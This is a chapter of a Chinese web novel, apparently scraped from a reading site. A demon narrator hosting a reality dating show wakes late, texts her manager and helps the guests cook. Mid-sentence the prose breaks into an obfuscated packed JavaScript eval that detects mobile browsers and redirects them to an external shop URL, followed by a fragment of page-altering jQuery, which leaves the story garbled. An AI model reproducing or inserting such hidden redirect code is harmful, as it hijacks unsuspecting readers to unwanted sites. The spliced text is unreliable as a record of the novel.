5. 录制第二天(1)
    14

    早上起来看到手机上显示的时间后我就意识到不好了。

    下午一点钟,很令魔震撼的时间。

    不出意外看到了何臣给我发的短信:【上了节目稍微注意一下时间,你还有任务在身!别忘了你的毕业证书!】

    我抓抓头发,给他回了消息:【花了香蕉的钱只能请到猴子。】

    何臣估计在盯着拍摄,回消息的速度一时间竟也非常迅速:【你不是只想要香蕉吗?】

    何扒皮啊。

    我丢开手机,从行李箱里翻出一条黑色的无袖卫衣和一条黑色运动裤套上,钻进卫生间洗漱。

    头发完全是烟花形态,根本压不下去,我只能戴上卫衣帽子出房间。

    别墅里很安静,别墅外鸟叫都比别墅内大声,只有中间夹杂的几缕呼吸声在提醒我,有活人。

    我下了楼,冰川们各自占据一块位置,膝盖上都放着一台电脑,安静处理自己的事情。

    比起昨天遥不可及的楚河汉界,今天倒是熟稔几分,彼此间的关系亲密了一点五个身位,这让作为主持人的我深感欣慰。

    同时也想起来今天还有个互相猜职业和年龄的环节。

    珍浮岛离内陆有段距离,节目组是铁了心地要在这里玩一出浪漫海岛之恋,嘉宾们除了我,基本都有工作在身,现在没法线下上班,都是远程办公了。

    怕打扰他们,我放轻脚步,蹑手蹑脚往厨房走。

    “你醒了?”裴问青摘下耳机,从电脑后抬头问我。

    “醒了。”我点点头,“你们都在工作吗?”

    我也没指望他们会回答我,在倒水的时候楼序却开口了:“我在工作。”

    裴问青也点了点头:“事情比较多。”

    封之南摆了摆手,随意道:“我比不得他们几个大忙人,闲的要命。”

    徐明歌倒是一如既往胆怯安静,头戴式耳机完全拦下了外界的声音,只是朝我微微点头以示招呼。

    至于程况野,说真的他好烫,我总感觉他今天散发的温度已超过昨天:“我在写论——东西,祝叙乔你今天要做什么吗?”

    我缓缓放下水杯,古怪地打量他们。

    又回过头看了眼摄像头。

    又看了眼他们。

    裴问青似乎看出我的疑惑,伸手点了点中岛台:“给你留了吃的,先垫垫肚子。”

    我看向中岛台,放着洗干净的葡萄,切好的黄桃和蜜瓜,似是怕不够,还有盒切好的寿司。

    程况野收起电脑,走到我身边道:“本来还给你留了饭菜,裴哥、唔。”

    他说了一半,和老旧的收音机似的卡壳,半会儿才继续道:“你需保持身材,所以只备这些。”

    这话说得古里古怪,活像突然被什么东西夺舍,硬要装出一副稳重成熟的模样。

    那双眼睛还滴溜溜转,不知道算是哪门子的稳重,全身上下一会儿烧得和沸水似的,一会儿又冷水浇头,全然冷静下来。

    铁定是中了邪才有这种莫名其妙的情况。

    我看向裴问青和封之南,这俩人话稍微多些,希望他们给我个答案,然而两人只是摇了摇头,凌晨还操心我身体的裴问青低着头,装作没看见我的眼神。

    程况野傻站在一边,我甚至能看出他眼底带了一点点的希冀。

    他到底在期望我什么啊!

    我拉开椅子坐下,翻出一柄叉子:“多谢,我是要保持身材。”

    这一天三餐其实我也吃不了什么东西,还不如直接拿我这个三十八线开外艺人的身份当借口,在饮食上有限制,这样单单吃水果就不会有太让人起疑心。

    我开始叉蜜瓜了,程况野还站在我身边没动。

    木桩子似的。

    我低下头看了眼果盒,默默把第一口递给了他:“你要吃吗?”

    要吃的话为什么不开口。

    程况野没动,奋力摇了摇头。

    不知为何,叉子上的那块蜜瓜忽然承载了它不该承受的重量。不远处沙发上,裴问青几个人纷纷抬起了头,意味不明地盯着那块蜜瓜。

    我刚睡醒没多久,只觉得他们盯着蜜瓜的眼神也多了分期待,茫然问道:“你们也要吃吗?”

    不过他们也不太会讲话,我这么问一句也挺有必要。

    谁叫这一屋子只有我一个恶魔有嘴巴呢,何臣还降大任于我,我自然要承担这等重任。

    虽然就出了个香蕉钱,但换来我这么一个会干活的猴子,谁不说一句资本家好算盘。

    连猴子都能奴役成这个样子。

    “本来就是给你准备的,你自己吃吧。我们都吃过饭了,冰箱也还有,想吃自己去拿就好,哪里会和你抢。”

    最后还是裴问青无奈开口解释,我看向程况野,他重重点了点头。

    “……你可以和我直接说。”我默了默,还是决定发挥一下没有的良心,提醒他人长了嘴巴除了吃饭还是可以用来说话的。

    程况野感激地看着我,沉稳道:“好。”

    ……

    他们到底想干什么。

    我坐在中岛台前把那盒果切和葡萄吃完了,今天的流程就是猜个职业和年龄,节目组也没有一直给我们安排任务,甚至连剧本都没。

    大部分还是要看嘉宾们自己的发挥。

    只不过我们这一屋子都安静得要命,一定需要点外力进行推动。

    肚子不至于空荡荡后,我把叉子拿去洗了,想着没影的任务,挑了张单人沙发坐下,面前几个人都在盯电脑,我也不好打扰他们工作,只能翻出手机开始打消消乐。

    打了十几关后,我终于无聊到开始翻为数不多的聊天列表。

    顾寒声正在合欢宗念博士,估计很忙,骚扰他都不一定有结果。

    挑衅拱火方哥是很有意思,只不过方哥头顶疑似日渐稀疏,他比我矮了半个头,我一低头就能看见他几根黑发半遮半掩头皮的头顶。

    看起来有点太可怜了。

    学院结识的舍友们也忙于自己的事业,准备大展宏图,我这个没工作的末流艺人成了最无聊的一个。

    我窝在沙发里,无声叹了口气,索性直接给何臣发短信:【你老实和我说,节目组是不是还有别的非人物种?】

    程况野那个被夺舍的模样实在太古怪,封之南昨天出了趟门,在超市的时候话可多了,称得上是健谈之人。

    结果回来之后也差不多是个哑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090260|149583||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    巴了。

    既然我这个魅魔都能出现,这种古怪情形也就有可能是有外力在作祟。

    我越想越觉得合理,不是有非人物种,就是有什么稀奇古怪的禁制。

    何臣如果给我私自上任务难度,我要把西瓜皮扔他脑门上。

    大不了当峨眉山的泼猴。

    我盯着手机屏幕,何臣的回话多了分斟酌,好一会儿才收到他肯定的答案:【没有。】

    【祝叙乔:真没有?】

    【何臣:我有什么必要在这种事上和你撒谎,给你找麻烦不也是给我找麻烦吗?我还指望这季节目有爆点。】

    我让他做梦比较快,他很粗鲁地让我滚。

    让他认清现实还不好,狗咬吕洞宾,不识好魔心。

    人类世界真麻烦。

    恶魔做法就干脆多了,看谁不爽就决斗,把对方吃了都没关系,反正是自己要决斗的。

    哪里有那么多弯弯绕绕。

    我收起手机,缩在沙发上的时候意识到了不好。

    因为又要睡了。

    15

    再次醒来是因为厨房里传来的低声絮语。

    我睁开眼,回过头往厨房看去,今天做饭的人换成了裴问青,封之南和徐明歌,程况野和楼序坐在中岛台前处理食材,一个摘豆角,一个切玉米。

    身上盖着一条毛毯,挡了一部分空调的冷气,才不至于让我手脚冰凉。

    就是不知道哪位善良的友人替我盖的毯子。

    这些只能看后续节目播出才能知道答案。

    我打了个哈欠滑下沙发,溜达到厨房问道:“有什么我能做的吗?”

    大家都在干活,只有我一个游手好闲未免太过分。

    裴问青正在炒滑蛋,神情专注,还一边指挥封之南往锅里倒沥干水分的虾仁。

    “油会溅起来吧?”封之南面露难色,端着虾仁的手勉强凑近灶台,自己却和灶台差个十万八千里。

    裴问青拎着锅铲,回头看了他一眼,毫不顾忌攥住他的手腕强行指挥他倾倒沥水篮,虾仁入锅,油溅到了封之南的手腕上。

    看样子应该就两滴油。

    封之南颤颤巍巍放下沥水篮,一言不发神色凝重如临大敌地去冲冷水了。

    不知道的以为他被炮轰。

    徐明歌身子矫健绕过封之南,递给了我一盆毛豆,轻声道:“可以剥毛豆吗?”

    我惊讶地看着发出声音的他,接过了那盆毛豆:“当然可以。”

    程况野摘豆角的速度奇快,每一段都摘得差不多长,我瞥了他一眼,他似是注意到我的视线,朝我露出了格外灿烂的笑容。

    我不自觉抬手挡了挡。

    好刺眼的笑容,都快日落了,还能有个太阳出现在我的面前。

    我努力朝他也扯出了一个微笑作为回报。

    他朝我竖了个大拇指。

    说实话,有点莫名其妙。

    笑完后我低下头剥毛豆。厨房内热油声响亮,时不时响起水流声,断断续续。

    一旁楼序哐哐剁玉米,程况野摘豆角的声音清脆。

    我丢开毛豆壳,一时间有些恍惚。

    好像在拍生活服务纪实节目。